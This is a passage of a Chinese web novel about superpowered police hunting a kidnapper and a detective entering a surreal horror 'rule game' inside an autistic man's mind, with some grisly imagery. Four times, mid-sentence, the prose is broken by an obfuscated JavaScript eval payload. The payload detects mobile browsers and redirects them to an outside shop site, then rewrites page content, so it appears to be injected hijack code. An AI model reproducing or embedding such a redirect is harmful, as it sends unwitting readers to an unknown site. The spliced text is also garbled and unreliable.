老王凑近何大勇,压低声音:“她问什么你答什么,赶紧配合调查,别耽误你们中午去学校门口出摊。” 何大勇感激地点头。 李颖很强硬:“何翠凤什么时候来诞江市务工?” “康康小时候。”何大勇眼睛向上翻,陷入遥远的回忆。 “他这个病是娘胎里带出来的,治也治不好。我们本来打算再生一个,但总觉得太残忍。老二从出生就有个拖油瓶哥哥,长大了不得骂死我们俩!” “康康十岁的时候,我独自回老家过年,老家人说村里有个女孩不读书,也不肯乖乖嫁人,非要出去打工,问我有什么门路。” 何大勇裂开嘴笑,露出一嘴烟熏的黄牙:“我能有什么门路?我自己都混成这样!” “我问女孩多大,他说才15岁,15岁能干嘛?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591317|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “晚上,我找了个有信号的地方,打电话把这事和我老婆说了,老婆让我把女孩带回家。” 张晓娜边低声啜泣,边接过话继续说:“我是觉得她可怜,想给她一口饭吃,来帮我照顾康康,让我有空干点别的。她以后想打工想回村,怎么样都行。” 李颖冷静地说:“她未成年。” “我是她叔父!”何大勇嚷嚷,“叔父带侄女来大城市看看有什么不行?” “没什么不行。”老王像尊弥勒佛,光头都在反光,“你们继续说。” “翠凤她......”张晓娜偷偷看丈夫,见丈夫没拦着才说,“翠凤其实是个好孩子,她来了后一直在客厅打地铺。一大早起床帮我备餐,等我和老何出摊,她就给康康洗漱吃饭。” 何康今年20岁,何翠凤十年如一日地照顾何康,如今已经25岁。 李颖质疑:“她没有假期,也不回家吗?工资怎么给她开?” “有假期,她在周日休息。”张晓娜解释,“周六高三生补习,周日学校才放假,我们周日不出摊,工资我——” “什么工资!”何大勇打断她,“是我给侄女的零花钱。” “她休息日去做什么?”李颖问。 “背着包去找朋友玩吧。” “她好像加了个什么老乡群,有几个朋友。” 何大勇和张晓娜回答得零七八碎,没人知道何翠凤周日在做什么。 老王插话:“她说过自己有男朋友吗?” “怎么可能!她在外面有男朋友?”何大勇喊道。 紧接着,何大勇意识到自己反应过度,他慌忙解释:“不是说不能有,我是她叔父,怕她被坏人骗。” 张晓娜盯着老王的眼睛:“所以她有吗?” 老王若有所思地看着他们。 “提醒你们,包办婚姻是违法的。”李颖可不惯着二位,“尤其是给患有自闭症的残障人士包办婚姻。” “违法”两个字终于让张晓娜害怕了,她一改之前的疯癫,声音小了下来:“没有,我就是觉得两个孩子有感情,想让他们发展一下。” 何大勇还是一副混不吝的样子:“何翠凤吃我的住我的,和我儿子结婚怎么了?” 老王和善地说:“民政局登记结婚时,要确保登记人能够明确、自主地表达自己结婚的意愿,清楚地知晓结婚的意义和责任,否则是不予登记的。” 何家夫妻一声不吭地挤在一起,像两只鹌鹑。 李颖出示一幅剧本杀店监控截屏:“辨认一下,这是何翠凤吗?” 夫妻同时摇头。 “等等!”张晓娜突然喊,“就是她!她是不是偷用我的化妆品了?” 截屏上的何翠凤穿着时尚化着淡妆,不像乡下来保姆,像是朝气蓬勃的大学生。 张晓娜激动地胡乱骂街,李颖打断她:“见过何翠凤身上的衣服吗?” “没有。”张晓娜梗着脖子,“她哪里买的起这个?” “所以她为什么一直在你家当保姆?”老王冷不丁问。 “在你家打地铺拿一丁点钱,起得比鸡早睡得比狗晚,还要给比自己小不了几岁的自闭症异性端屎端尿。她年纪轻轻,为什么不去做些别的工作?” 何大勇和张晓娜给不出答案。 平心而论,何翠凤长得不差。虽然不算大美女,但打扮后在普通人里也算亮眼。 这样的女孩子都是野心勃勃的,她本可以成年后立刻离开何家,找份正常工作养活自己,而不是在何家当丫鬟。 除非何家有什么让她必须留下的东西,让她放弃追求正常生活的东西,让她能一步登天的东西。 陈影笙冷眼看着夫妻二人,他们被老王的迅速变脸给吓傻了。 老王沉声问:“何康有超能力吗?” “没有” “想清楚再回答!”李颖喝道,“隐瞒任何事实都是包庇行为!” 张晓娜吓得声音发抖:“真没有!要是有我家能成这样?” “跟我们回超管局仔细想想吧。”李颖按了按太阳穴。 57. 真相追逐我 陈影笙不觉得把他们带回去能问出什么,他们没有说谎。 而且有一点说的没错,如果何康真是超能力者,他们家不会过成这样。 一个患有自闭症的超能力者也是超能力者,即使他无法工作,也能在父母的安排下参与一些试药或研究项目,拿到不菲的报酬。 况且社会上一些人对超能力的推崇到了狂热的程度,肯定有人愿意从小负担何康的治疗费用,把他送去特殊儿童的专门学校,何康会过上另外一种人生。 但现在......陈影笙看着手中的病历,产生了新的疑惑。 4年前,夫妻二人带何康看过儿童医院的生长发育科和总医院的男/科。 他们这群人里,只有老王养过孩子。虽然孩子没了,但有这方面经验,陈影笙拿病历给老王看。 “小男孩的发育问题。”老王对着光看病历,“也不小了,何康那时候都16岁了。” 陈影笙看着病历陷入沉思。 如果何康不能人道,那何大勇和张晓娜为什么要撮合他和何翠凤? 一个问题还没解决,另一个问题又冒出来,陈影笙分外头疼。 当下优先解决的是阿苦的问题,只能先把何康当作导致伪人测试致死的真正超能力者看待。 回到超管局后,李颖立刻联系相关部门,调来几个特殊教育学校的老师和康复治疗师。 老师们陪着何康一起到安定医院探视阿苦,超能力刑警们护卫在病房外。 “康康,你看病床上的阿姨。”老师尝试与何康交流,“我们一起对她说:‘祝你早日康复!’” 何康的手指绞在一起,胡乱扭动着,像是一只十条腿的蜘蛛。他双眼无神地盯着床单上一处黑点,不理睬任何人的话语。 另一位老师用单个音节指示何康,想让他模仿,最后以失败告终。 陈影笙不认为何康说一句“祝你早日康复”就能让阿苦恢复原状。 她问老王:“什么时候可以进万花筒?” 老王笑笑没说话。 所有人都明白,他们在做无用功。 一个拒绝和外界沟通的大龄自闭症,疑似有某种强大到无法理解的超能力,被人利用作案。 最可怕的是,他本人可能不知道自己有超能力,也不知道能力的用法和发动条件。 至于怎么解除超能力,那更是天方夜谭,他连话都不会说。 李颖的电话打了过来:“何康的父母一问三不知,但有人说看见何翠凤了。” “在哪?” “敏中沿海,估计想找机会走海路跑去找虚竹,我已经请示局长,致电敏中地区的超管局协同抓捕。” 何翠凤是何康超能力的唯一知情人,抓到她肯定能问出真相。 然而时间不等人,阿苦玩完伪人测试至今已经5天了,无法保证在2天内抓到何翠凤并问出解除超能力的办法。 幸好他们还有万花筒,包含一切真相的万花筒。 李颖说完挂断电话,老王沉默地握着手机,好一会才对陈影笙说:“万花筒对我们来说是个黑盒子。” “我们只能看见它的作用,不知道它的原理,也不知道使用不当的后果。” 他说:“我不想让你进去冒险,但事情——” “不是冒险。”陈影笙打断他,郑重地说,“是追求真相。” “为了想变成大树的阿苦,为了重度自闭症的何康,也为了我自己,我追求真相,真相也在追逐我。” 老王长长地叹息。 “你太累了,想太多了。”陈影笙安慰他。 “万花筒只是一个机器,即便使用不当,最坏也不过失去短期记忆。对我来说没有任何损失,我的脑子里装了太多记忆,正好找机会清除一下。” 老王欲言又止。 远处传来警员的声音:“王队!赵主任来了,想跟何康见一面。” 赵主任是之前参与线上会诊的超能力医生,他密切跟进案情,最快拿出阿苦的治疗方案。为此他一夜没睡,坐红眼航班千里迢迢赶来诞江。 诞江市安定医院的于主任陪着赵主任来见老王和李颖,希望能得到一个与何康见面的机会。 赵主任年近50,看上去略微疲惫,他和所有人打招呼,然后直奔主题:“我想申请一间隔离病房,单独带何康治疗罗春喜。” 他话音刚落,老王的电话响了。老王歉意地指了指手机,背过身去接电话。 陈影笙竖起耳朵,听见零星几句话。 “可以进了?太好了!” “风险我都明白,会和准备进去的人讲明......” 她立刻听懂了,任珊珊万花筒和阿苦万花筒的遗留物融合成功,可以进入超能力者本人的万花筒了。 陈影笙迫不及待地想回超管局,但老王明显不这么想,他想让赵主任先试一下。 赵主任的超能力相当有名,他可以短暂连接两个人的意识,控制二人的意识相互影响,在治疗精神分裂和谵妄症上有奇效。 老王向他身后看了看:“只有主任您自己来了?” 赵主任的超能力起到桥梁作用,他的工作需要一个助手。 “我连夜赶过来的,没带助手。这次不需要助手,把罗春喜与何康的意识相连接,给何康造成自己中了自己超能力的幻觉。何康即使不理解发生了什么事,他潜意识中为了自保,也会解除超能力。” 老王聚精会神地听完了,然后他把诞江市安定医院的于主任拉走,让医院行政先招待赵主任喝茶吃早餐。 陈影笙跟过去,听见老王问:“他说的靠谱吗?” 于主任疯狂点头,滔滔不绝地从学术角度讲了一堆赵主任超能力的临床用法。 老王打断他:“你有赵主任电话吗?” 于主任糊里糊涂地摸摸后脑勺,赵主任明明近在眼前,为什么还要电话?但他没有多问,拿出手机把电话号码给老王。 陈影笙明白,老王怕赵主任不是赵主任,而是能复制别人外表的剑侠。 老王播出号码的同时,特校老师的尖叫声像哨音一样响起。 瞬间,老王的肌肉撑破警服,他变成一个三米高铁塔般的巨人,巨人护卫住身后所有人。 这是超管局队长王锐斌的超能力——钢铁化身。 下一秒,马雨双短距离瞬移至老王身旁,她放下手里拎着的两名特校老师,对老王点点头,用超能力护送人员撤离。 老王用力一蹬地板,猛然爆冲出去。 安定医院可怜的楼面几乎承受不住他的重量,地板的瓷砖全被踩碎。 裹挟着恐怖的冲击力,老王迎面撞上空气墙一样的屏障。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603430|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏障中,剑侠伪装的赵主任牵着何康的手,遗憾地望着阿苦的病房。 同一时间,左絮飞手持一把宽刃巨剑飞身向屏障砍去,巨剑古朴沉重,周身散发特效般的金色光芒,简直像是从电影荧幕中直接拔出来的。 剑与屏障接触,发出两辆货车相撞般的巨响,左絮飞大臂肌肉鼓起,被反作用力震得不轻。 见冷兵器没有效果,左絮飞毫不犹豫地拿出一个玩具火箭筒,发动超能力幻想造物。 手指长的玩具在他掌中立刻变大,变成一个通体呈喑哑金属色,表面流动神秘符文的火箭筒。 他朝老王嘶吼:“跳!” 马雨双一次瞬移飞上高空,二次瞬移冲破玻璃进入楼层,她将医护和患者转移完毕,随时准备用超能力接应被剑侠劫走的何康。 左絮飞不管他的队友,或者说他完全信任队友。 火箭筒后端抵住左絮飞的肩膀,前段下压对准钢筋水泥浇筑的医院楼层。左絮飞绷紧背肌,扣动扳机——从容的剑侠面目扭曲了。 剑侠一把抱住安静到不像真人的何康,他盯着左絮飞说:“你真是超能力者中的叛徒。” 左絮飞恍若未闻,他被火/箭/弹强大的后坐力震得微微滞空。 伴随一声震耳欲聋的轰鸣,雷光般的炮弹穿破空气,把楼层撕碎。 左絮飞毅然决然的炮轰得到了回馈,透明屏障果然只覆盖表面,剑侠脚下没有屏障。 剑侠挟持着何康,死死盯着左絮飞的面庞,与碎裂的水泥钢筋一起向下坠落。 马雨双发动第三次瞬移,她的首要目标是剑侠手里的何康。 时间近乎停止,左絮飞在失重中调整身体,透过下落建筑废料的空隙看见马雨双抓到何康的外套。 紧接着,空气中产生一丝奇异的波纹,视觉像被什么未知的存在欺骗了,剑侠与何康被波纹吞噬,消失在所有人面前。 马雨双握紧手里的外套碎片,再次发动超能力,把王锐斌和左絮飞安全接到下一层楼。 何康被抓走了。 在众目睽睽之下,在诞江市超管局的一群超能力刑警护卫下,抓走了。 所有人神情凝重,马雨双更是垂眼望着手里的外套碎片,像是陷入自责。 王锐斌最先回过神,他用力拍了拍两个年轻人的肩膀:“收队!” 左絮飞没动。 “走了。”王锐斌伸手想去拉他。 空气中又有一丝波纹,像是留恋海滩的浪花。 左絮飞在一个呼吸间发动能力,手心的玩具指虎变成拳套。 毫无预兆地,看不清他拳头的出击前奏和准备动作。他不需要蓄力,如同偷袭般打中空气里的某个点。 玻璃碎裂的清脆声响彻在每个人耳边,光线与尘埃交织,左絮飞在光中捕捉到一条被他击碎的“通路”。 一个面目模糊不清的女人牵着何康的手缓缓走在乡间小路上。 何康似有所觉,高举手臂如蝴蝶般摆动。 这一幕短得像幻觉,但左絮飞的执法记录仪忠诚地摄录一切。 至此,他们才算有一点收获,诞江市安定医院的大楼没有白挨一发火/箭/弹。 众人在一片狼藉中沉默了几秒,老王挣脱上身的衣服碎片,强打起精神:“走,回局里,立刻安排幻忆师进入何康的万花筒!” 58. 哒哒、哒 玩家幻忆师在温馨的家中醒来。 40多平米一室一厅的小家以米白色和浅木色为主,一尘不染得像样板间。 床的正前方是一面穿衣镜,幻忆师看见了镜中的自己,她是一个25岁左右的年轻女人,长相清秀但毫无特殊之处。 她踩上鞋子,步入客厅。 哒哒、哒,哒哒、哒—— 轻微且富有规律的声音在幻忆师耳边响起,像是塑料扣子有节奏地掉在光滑的瓷砖上,等她想去捕捉声音时,声音消失了。 哒哒、哒 耳边的声音消失了,幻忆师的脑子里开始循环播放这个声音,她烦躁地晃了晃头,想把声音从脑海中赶走。 她尝试通过观察房间转移注意力。 米白色的房间配得上世间一切美好的词汇,干净、整洁、舒适、宜居、雅致、简单...... 但是很怪异。 幻忆师说不清为什么怪异,就像她不明白哒哒声为什么在脑海中挥之不去。 她感觉自己好像被什么沉重的东西压住,有些喘不上气。 但房间层高正常,书架旁的窗户半开着,微风轻拂过白纱窗帘,鼻腔内盈满新鲜的空气,没有任何异常阻止她呼吸。 除此之外,还有一种憋屈的烦躁感。按照幻忆师对推理和文字的狂热爱好,她早该飞扑到书架上,如狼似虎地阅览书籍。 可是她什么都没做。 她丝毫没有触碰整洁房间内任何物品的想法,像是她不属于这里,有意把自己和所有事物隔离。 好烦啊,幻忆师无法控制地想。 背部好像出了一层不存在的薄汗,蒸腾的热气从胸腔中向上涌去,幻忆师用力扯了扯衣领。 她低头看到自己的袖口,袖口上绣着一只可爱的小熊熊头。 棕色泰迪熊的熊头正下方用简笔画描出一个同色系蝴蝶结,两根飘带呈30度夹角分开。 蝴蝶结还有棕色的?幻忆师没见过棕色蝴蝶结,一般作为领结的蝴蝶结以红色蓝色为主。 她强迫自己克服内心的烦躁感,伸手去拿架子上的书。 瞬间,书架自燃了。 熊熊大火从中间的书籍燃起,迅速蔓延开来,幻忆师刚想转身找水灭火,一位白发白裙的少女狼狈地从火中跃出。 火被集中到少女身上,她身上没有烧伤,只有衣物和头发烈烈燃烧着,像是盛满火焰的熔炉。 幻忆师的烦躁感被火焰烧尽,她的目光锁定在少女手中被火苗一点点吞噬的纸张上: 1.你是一个普通人,普通地过好普通的每一天,禁止【被烧毁】 2.生活中充满了稀松平常的小事,没有任何异常,你【被烧毁】 3.对称性是指一个图形在某种变换下【被烧毁】 4.当一个角色相信【被烧毁】愿望【被烧毁】 5【被烧毁】 火苗在纸张上摇曳闪烁,幻忆师的目光追逐着火苗,尽力把文字印在脑海中,但还是没有看全。 白发少女露出一个饱含歉意的笑容,任由大火吞噬自己。 看完规则后幻忆师想起来,她是一名侦探,作为玩家来到这里,唯一的目的是根据规则通关怪谈游戏,找到拯救阿苦的方法。 但这次怪谈连规则都被烧了一半,她有种不详的预感。 哒哒、哒 身后再次响起诡异的哒哒声,幻忆师随手拿起一本厚书,颠了颠书的重量,做好攻击准备。 她的余光略过袖口。 泰迪熊熊头不见了。 幻忆师猛然转动脖子,颈部发出一声脆响,只有头部的泰迪熊正站在她身后。 用“站”描述它并不确切,用“支撑”来说更加合理。 熊头下方是大字型的蝴蝶状躯干,小小的躯干支撑着大大的脑袋。 它挥舞着本应是飘带的腿,缓慢移动两下,发出哒哒的声音。可怜的躯干支撑不住沉重的头,熊头磕在地上,塑料眼睛与瓷砖发出第三声哒。 哒哒、哒,哒哒、哒 躯干泰迪在温馨的家中旁若无人地散步,幻忆师震惊地看着它。 她真没想到还能有长得这么不礼貌的怪物,一阵恶心与烦躁袭上心头,她随手把书扔向泰迪熊。 躯干泰迪猛然转头看向幻忆师。 哒哒哒哒哒哒哒哒哒哒哒哒哒—— 躯干泰迪以不正常的速度疯狂向幻忆师冲来,大字型的身体宛如水中抖动的海带,沉重的头颅无力地向上仰着。 它迅速顺着幻忆师的裤腿爬上她的身体,然后用小小的躯干抱住幻忆师的头。它张大棉花做的嘴,一口把头吞了下去。 ...... 玩家幻忆师在温馨的家中醒来。 哒哒、哒 幻忆师坐在床边,木然看着床下散步的躯干泰迪。 她感觉背上覆着一层薄汗,身体比上一次醒来虚弱很多,这恐怕是死亡惩罚。 用一次死亡补全被烧毁的第二条规则,很难评价是否划算。 2.生活中充满了稀松平常的小事,没有任何异常,你【被烧毁】 如今看来,被烧毁的文字应该是“你必须无视所有异常”。 躯干泰迪从卧室散步到客厅,怡然自得的样子让幻忆师怀疑这里其实是它家。 仔细看看,它其实不丑,还有一点奇异的恶心萌。 幻忆师决定与躯干泰迪和平共处,干脆把它当成家里的猫,她随便翻阅了几本没被烧毁的书籍,然后拉开房间的门。 门口堵着一台自动贩卖机。 幻忆师深吸一口气,关上房门再次打开。 门口还是堵着一台自动贩卖机。 机身上印着一只戴橘色贝雷帽的巨大企鹅,企鹅紧闭眼睛张大嘴巴,它的嘴巴像是贩卖机的出货口。 幻忆师用力推动机器,贩卖机纹丝不动,她定睛去看屏幕。 没有文字说明,屏幕上只有五个图案,分别是眉、眼、鼻、口、耳。图案是写实风,鲜明的五官像刚从人身上割下来。 幻忆师把贩卖机从上到下观察一遍,既没找到使用说明,也没找到展示货物的橱窗。 更没有投币口。 幻忆师无奈叹气,她明白了,贩卖机里根本没有货物,她本身就是货物。 她以为的出货口其实是投币口,只有把五官中的一处放进投币口,她才能得到出门机会。 如果必须依靠投币才能出门,她会选择眉毛。 但事情没有坏到必须损失眉毛的地步,房间内除了大门,还有一个出口,幻忆师转身向窗户走去。 房间在2楼,不是很高,但窗根处有一个穿着碎花棉服的老太太,老太太在墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612187|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边鬼鬼祟祟地做些什么。 空调室外机挡住了幻忆师的视线,她看不见老太太手里的东西。 要不要从2楼爬下去?幻忆师认真思考。 她和老太太打招呼:“早啊,您——” 老太太抬起头,把幻忆师的话全部堵住。 幻忆师在进入这个怪谈游戏前,从来没想过眉毛可以连接脑子。 老太太今天出门时把眉毛喂给自动贩卖机了,她脸上原本是眉毛的地方多了两条眉毛形状的贯穿型深洞,透过血淋淋的肉/洞能一眼看见她脑后的街景。 幻忆师礼貌地对老太太点点头,拉上白纱窗帘。 她绝对不把眉毛给贩卖机,但真让她从剩下四个里选,她又选不出来。 站在贩卖机前,幻忆师做了一个痛苦的决定——她微微弯腰,亲吻企鹅冰冷的喙部。 贩卖机消失了,她的嘴还在,但她失去了语言能力。 选择嘴是幻忆师深思熟虑后得到的结果,她需要用眼睛去看,用耳朵去听,用鼻子去闻。 这三个部位是用来输入信息的,而嘴是输出信息。在信息量不足的当下,她不需要输出,只需要输入。 幻忆师踏出房门。 柔软的居家服变成一身职业套装,白衬衫黑西装配过膝裙子,脚上是一双尖头短跟的高跟鞋。 哒哒、哒 躯干泰迪的脚步声响完最后一下,突然安静下来。幻忆师把衬衫的袖子拉出西装外套,果不其然在袖口上看见一个熊头。 把袖子塞回去,幻忆师趁机摸了把熊头,感觉躯干泰迪好像不那么令人讨厌。 西装外套上别着一个工牌,上面写着两行字。 【上一层印刷厂 姓名:康康】 所以这是何康的身体,她在印刷厂工作。但何康明明是个20岁的成年男性,怪谈里的他为什么是个年轻女人呢? 幻忆师一边思考一边走出楼门,终于看清穿碎花棉服的老太太在做什么。 她在用尸体碎块建房子。 幻忆师差点没吐出来。 碎花棉服站在坑坑洼洼的墙边,把青黑色尸块当作砖头,用黄红相间的人体油脂充作水泥砂浆,一块块垒起她的小窝棚。 她颤颤巍巍地抱起一具只剩胳膊和躯干的残尸,将尸体面部朝下,整齐地码在两条人腿上,再把油脂仔细抹在残尸腐烂的脸部,填平躯干和人腿间的缝隙。 做这一切事情时,她勤劳且喜悦,仿佛在建设梦想中的家园。 发现幻忆师在看她,碎花棉服直起腰抹着汗和幻忆师打招呼: “康康,去上班啊!” 幻忆师摸着袖口的躯干泰迪,僵硬地扯出一个微笑,友好地向邻居点头,然后转身就走。 她再也不说躯干泰迪恶心了,躯干泰迪是世界上最可爱的小熊。 幻忆师向前走了一段,没找到任何路标,她看了看天色,太阳挂在天空正中间,现在是正午12点左右。 这个点到公司无论如何都会迟到,所以幻忆师不着急赶路,在街上慢悠悠地散步。 街上不仅没有人,连只活蚂蚁都没有。路边没有垃圾桶,地面上没有一根头发丝,干净得像是异世界。 突然间,一群人从街边的店铺、住宅甚至垃圾桶中涌出来,朝同一个方向走去,幻忆师跟在他们身后。 59. 我是打印机 幻忆师跟随人群来到一座有5层楼的大商场。 人群如同罐头中的沙丁鱼,脸挨着后脑勺,脚尖挨着脚跟,前胸贴着后背。他们拥挤但有序地乘坐扶梯上楼,里三层外三层地挤在每一楼的中庭围栏旁。 宽敞明亮的商场中庭装饰华美,隔着透明围栏一眼就能看到底层的表演舞台。 幻忆师站在三楼向下望,感觉人们好像在期待一场演出。 她不由得有些后悔,如果刚才没选嘴,现在可以找人问问为什么聚集在这里。 不过“聚集”行为可能是日常中稀松平常的小事,她必须按照规则装作习以为常的样子,不能提出任何质疑。 很快,幻忆师知道人们为什么聚集了。 商场的工作人员牵来一只5米高的奇怪动物,它全身由9个白色圆柱体组成: 组成四条腿的圆柱支撑着横放的躯干圆柱,正在不协调地走路;组成头部的圆柱左右摆动,像是在乞食。 一楼的舞台旁,站在前排的男人举起他的小女儿,女孩咯咯笑着摸了摸动物的头,头上组成耳朵的两个圆柱立刻高兴地动了动。 幻忆师努力向前挤,想仔细研究一下奇怪动物。她实在分辨不出白色圆柱的材质,只能把它当成一台由9个部件组成的机器动物。 但机器的表现又如此真实,它被摸了腿后甚至在欢快地摇动尾巴。 旁边传来小孩子奶声奶气的提问声:“妈妈,我们要玩到什么时候才能吃它呀?” 孩子妈妈敷衍地说:“等大家都玩够了就能吃了。” 什么东西?这不是机器人吗?幻忆师简直听懵了。 她无法想象,眼前由9个圆柱组成的简陋四腿动物竟然能吃。 像是在呼应小孩子的话,几名工作人员推来一口大锅,锅里咕噜咕噜冒着气泡,散发出辛辣的味道,好像要把5米高的动物拿来涮火锅。 白色动物感受到火锅的蒸汽,更加卖力地扭动起全身的圆柱。 然而它的身体部件实在不争气,耳朵尾巴各扭各的,四条腿也各走各的,连躯干都不配合腿,动得毫无章法。 像是由9条肉虫组成的怪物。 这个想法一旦出现就很难把它赶走。幻忆师难受地望着舞台上不知名的动物,听到人们在欢呼。 她发不出欢呼声,但不想违背规则。 为了让自己看上去普通正常不像个异类,她举起双手胡乱拍两下应付过去。 “啪啪——”这是幻忆师随意拍手的声音。 “啪啪、啪,啪啪、啪,啪啪、啪”这是商场内其他人不约而同的整齐鼓掌声。 下一秒,三楼所有人都转头看向幻忆师,一楼和二楼的人抬头仰望着三楼,四楼五楼的人直直地低下头。 寒毛竖起,一声尖叫堵在幻忆师的口中,她无比庆幸自己把声音卖给自动贩卖机。 在所有人无声的注视下,幻忆师动弹不得。 她用尽全部力气举起双手,试探性地鼓掌: “啪啪、啪” 像是得到一份满意的答卷,人群恢复正常,大家继续笑闹着、讨论着、欢庆着,为即将到来的美食庆祝。 舞台上白色动物扭动得更加疯狂,它好像要通过讨好什么挽救自己被食用的命运。 孩子们围着动物又笑又叫,他们伸手打它,用脚踹它。父母们挂着慈祥的微笑,看着自家活泼好动的小孩。 推火锅过来的工作人员站在一边无聊地抠指甲。 随后,他们得到指示,将白色动物卸成9块,丢进沸腾的辣椒水中。 同一时间,人群也沸腾了。 幻忆师莫名感到有些恶心,她想离开这个鬼地方。正好,一只手搭上她的肩膀: “午休快结束了,不回印刷厂吗?” 幻忆师转过头,看见一个和她穿着同样工服的女人,女人的西装外套上挂着工牌。 【上一层印刷厂 姓名:女人】 什么情况?幻忆师如果能说话,她恨不得直接大喊问号问号问号,怎么会有人名叫女人? 可惜她说不出话,只能微笑着点头,跟在女人身后离开商场。 印刷厂就在大商场隔壁,也是一栋五层大厦。幻忆师轻松找到康康的工位,因为工位上贴着躯干泰迪的贴纸。 她现在看躯干泰迪真的像看见自家猫,觉得它顺眼又可爱。 幻忆师无聊地坐在工位上,不知道该干些什么。 康康任职的公司明明叫印刷厂,她却做着不明所以的文职工作。 幻忆师枯坐在电脑前,周围没有人,也没有线索。然后她做了一个足以让她后悔很久的决定——打开电脑。 电脑屏幕一片空白,在底端的任务栏上显示一连串图标。 【眼睛】【眼睛】 【电池警告】【电池警告】 【已连接】【已上传】 【抬头向上看】 幻忆师控制住自己的脖子,坚决不动。桌面投下一片人型阴影,温热的呼吸喷吐在头皮上,细细的头发丝轻轻抚过她的耳朵,屏幕上的两只眼睛好像眨了眨。 拿起鼠标,幻忆师集中精神,开始做康康的文员工作。 她移动鼠标,查看每个图标,眼睛是护眼模式;电池警告说明该换电池了;已连接是连上互联网...... 头顶的声音冷不丁说:“抬头向上看。” 护眼模式图标一闭一合,幻忆师既聋又瞎,双手摸上键盘开始打字。 她盯着屏幕中间一点,迅速盲打: 【我是一个普通人,公司不存在异常。我是一个普通人,公司不存在异常......】 屏幕上一片空白,办公室内回荡着打字的噼里啪啦声。 那道声音又说:“键盘数据线没连好,你低头检查一下。” 幻忆师的余光瞥到任务栏,发现图标又变了,抬头向上看变成低头向下看,两个眼睛图标慢慢变红。 她继续打字: 【我是一个普通人,公司不存在异常。】 等幻忆师打得手酸,女人终于端着水杯走过来。 女人伸手关掉屏幕,给幻忆师下达任务:“康康,会议室里的打印机坏了,你去修一下。” 此时此刻,幻忆师再也不敢嫌弃这位同事的名字,她终于被女人从越发古怪的任务栏中解脱出来。 幻忆师迈入会议室。 ...... 我是一台打印机。 很难向你解释为什么,但我就是一台打印机。 我不明白自己为什么想向你解释,反正我是一台打印机。 什么?你说有一个叫幻忆师的人来会议室修理我?我没看见她。 哦对,她确实带着工牌,工牌显示她叫康康。 你问我工牌上写着康康,我怎么知道她其实叫幻忆师? 这个问题把我难住了,让我好好想一想。 我知道为什么了! 因为我是一台打印机,戴着康康工牌的人打印文件时一定用幻忆师做过署名,所以我以为她叫幻忆师。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624193|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你怎么不说话了? 算了,我来正式做一下自我介绍吧。 我是一台属于上一层印刷厂的打印机,我静静地伫立在会议室的角落,和盆栽做邻居,我随时准备为每一位职工服务。 我有方正的身躯,简洁的外观,我的控制面板上有两个指示灯和一个按钮,让你能够轻松地操作和了解我的工作状态。 很遗憾的是,我的发声功能损坏了。如果你看到一台像企鹅的自动贩卖机,请帮忙赎回我的发声功能。 当你有文件需要打印时,只需向我发送指令,就能、就能...... 不好意思,我可能坏的时间有些久,忘记如何打印了,我会通过打印自己一天的经历,尝试找回记忆。 以下是一份新鲜热乎的打印作品: 【我从家中睡醒,看到一只可爱的泰迪熊,然后被自动贩卖机堵住家门无法出去。 真是奇怪!按照常理,贩卖机应该放在街角或者公寓楼的一层楼道内,为什么这台机器堵在我的家门口? 出门后,我看见了一个杀人狂老太太,她在用碎尸块搭窝棚,太恶心了。 上班的路上,我看见9个圆柱组成的怪异动物。之后,我被同事拉回印刷厂继续上班。 公司竟然没有考勤制度!虽然我是一台打印机,好像不需要记考勤,但怎么也得有个能打卡上下班的地方吧?】 如你所见,纸上呈现的是我一天的经历和感想,我终于想起如何履行打印职能。 我会不断努力提升自己的性能,提高打印速度,保证打印质量,降低耗材成本。只为给公司带来更高效、更便捷的打印体验。我是你工作和生活中的得力助手,随时为你服务。 ...... 女人走进会议室,她吃力地搬来一厚沓A4纸。 她对打印机说:“把这些都复印一遍。” 打印机没有任何响应。 女人不耐烦地踢了一脚打印机:“你刚被修好,墨盒是满的,足够把这些都印完,快点行动起来!” 